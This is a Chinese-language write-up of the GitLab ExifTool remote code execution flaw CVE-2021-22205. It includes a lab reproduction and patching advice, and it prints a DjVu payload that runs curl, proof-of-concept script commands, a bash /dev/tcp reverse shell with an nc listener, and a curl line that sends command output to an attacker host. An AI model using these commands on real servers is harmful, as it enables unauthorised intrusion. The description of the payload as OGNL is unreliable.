GitLab-CVE-2021-22205

GitLab-CVE-2021-22205
Takake1.漏洞简介
CVE-2021-22205 漏洞详解
CVE-2021-22205 是 GitLab 中的一个严重远程代码执行(RCE)漏洞,攻击者可以通过上传特制的恶意图片文件,利用 GitLab 对图像文件解析的缺陷,在目标服务器上执行任意命令。该漏洞的 CVSS 评分为 9.9,影响范围广泛,危害极大。
1. 漏洞背景
GitLab 是一个基于 Web 的 DevOps 生命周期工具,提供 Git 存储库管理、持续集成和部署等功能。该漏洞的核心问题在于 GitLab 的 ExifTool 组件未能正确处理传入的图像文件,导致攻击者可以通过上传恶意图片文件触发远程代码执行。
2. 漏洞原理
漏洞的核心在于 GitLab 对图像文件的解析机制:
ExifTool 解析缺陷:
- GitLab 使用 ExifTool 解析上传的图像文件,但未对文件内容进行严格验证。
- 攻击者可以通过构造包含恶意代码的 DjVu 格式图片文件,利用 ExifTool 的解析逻辑触发命令执行。
恶意文件构造:
攻击者使用 DjVu 格式的图片文件,并在文件中嵌入恶意 OGNL(Object-Graph Navigation Language)表达式。
例如,构造的恶意文件内容如下:
1
2
3
4(metadata
(Copyright "\
" . qx{curl http://dnslog.cn} . \
" b ") )当 GitLab 解析该文件时,会执行嵌入的命令(如
curl
)。
未授权利用:
- 由于 GitLab 存在未授权的上传端点(如
/uploads/user
),攻击者无需身份验证即可上传恶意文件并触发漏洞。
- 由于 GitLab 存在未授权的上传端点(如
3. 影响版本
以下版本的 GitLab(社区版 CE 和企业版 EE)受到漏洞影响:
- 11.9 <= GitLab CE/EE < 13.8.8
- 13.9 <= GitLab CE/EE < 13.9.6
- 13.10 <= GitLab CE/EE < 13.10.3。
4. 漏洞利用条件
目标系统:
- 运行受影响版本的 GitLab。
- 目标系统未打补丁或未采取缓解措施。
攻击者权限:
- 攻击者无需身份验证即可利用该漏洞。
网络访问:
- 攻击者能够访问目标系统的 GitLab 服务端口(默认 80 或 443)。
5. 漏洞复现
以下是漏洞复现的简要步骤:
环境搭建
使用 Vulhub 或 Docker 搭建受影响的 GitLab 环境:
1
2
3git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d访问
http://目标IP:8080
,初始化 GitLab 并设置管理员密码。
漏洞检测
使用漏洞检测脚本检测目标是否存在漏洞:
1
python3 CVE-2021-22205.py -v true -t http://目标IP:8080/
如果返回
[+] 目标存在漏洞
,则说明漏洞存在。
漏洞利用
命令执行:
使用脚本执行命令:
1
python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "命令"
例如,执行
id
命令:1
python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "id"
反弹 Shell:
在攻击机上监听端口:
1
nc -lvp 4444
使用脚本写入反弹 Shell 命令并执行:
1
2
3python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' > /tmp/shell.sh"
python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "chmod +x /tmp/shell.sh"
python3 CVE-2021-22205.py -a true -t http://目标IP:8080/ -c "/bin/bash /tmp/shell.sh"成功获取反弹 Shell。
6. 修复建议
升级版本:
- 升级到 GitLab 的最新修复版本(13.10.3、13.9.6 或 13.8.8)。
临时缓解措施:
- 禁用未授权的上传端点。
- 使用防火墙或安全组规则限制对 GitLab 端口的访问。
安全加固:
- 定期监控系统日志,检测异常访问行为。
- 使用 Web 应用防火墙(WAF)拦截恶意请求。
7. 总结
CVE-2021-22205 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。
2.漏洞复现
- gitlib页面 默认为8080端口
- github下载POC进行检测 https://github.com/Al1ex/CVE-2021-22205
- 漏洞利用
尝试反弹shell
- 本机监听 nc -lvvp [port]
- 靶机依次三条命令
1 | echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh |
- 通过http服务实现命令回显
1 | $ curl http://XXX.XXX.XX.XXX:11011/?echo=$(echo -n $(id) | base64 | head -c 63) |